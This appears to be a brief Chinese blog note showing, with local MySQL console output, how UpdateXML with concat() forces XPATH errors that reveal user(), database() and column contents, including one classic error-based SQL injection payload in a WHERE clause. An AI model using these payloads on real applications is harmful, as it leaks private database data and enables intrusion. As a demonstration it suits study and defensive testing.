mysql updatexml报错查看数据库信息
mysql updatexml报错查看数据库信息
如下
mysql> select UpdateXML(1,concat(0x7,user(),0x7e),1) from json_test; 1105 - XPATH syntax error: 'root@localhost~' mysql> select UpdateXML(1,concat(0x7,user(),0x7e),1); 1105 - XPATH syntax error: 'root@localhost~' mysql> select UpdateXML(1,concat(0x7,user(),0x7e),1); 1105 - XPATH syntax error: 'root@localhost~' mysql> select UpdateXML(1,concat(0x7,database(),0x7e),1); 1105 - XPATH syntax error: 'ops~' mysql> select UpdateXML(1,concat(0x7,database(),0x7e),1); 1105 - XPATH syntax error: 'ops~' mysql> select * from json_test where id = 9 and UpdateXML(1,concat(0x7,database(),0x7e),1); 1105 - XPATH syntax error: 'ops~'
INSERT INTO json_test('content') VALUES (' <book> <title>A guide to the SQL standard</title> <author> <initial>CJ</initial> <surname>Date</surname> </author> </book> '); select UpdateXML(content,'/book/author/initial','!!123') from json_test where id = 9; +------------------------------------------------------------------------------------------------------+ | UpdateXML(content,'/book/author/initial','!!123') | +------------------------------------------------------------------------------------------------------+ | <book> <title>A guide to the SQL standard</title> <author> !!123 <surname>Date</surname> </author> </book> | +------------------------------------------------------------------------------------------------------+ 1 row in set
mysql> select updatexml(1,concat(0x7,(select json_z from json_test limit 1),0x7e),1); 1105 - XPATH syntax error: '{"lys": "21321"}~'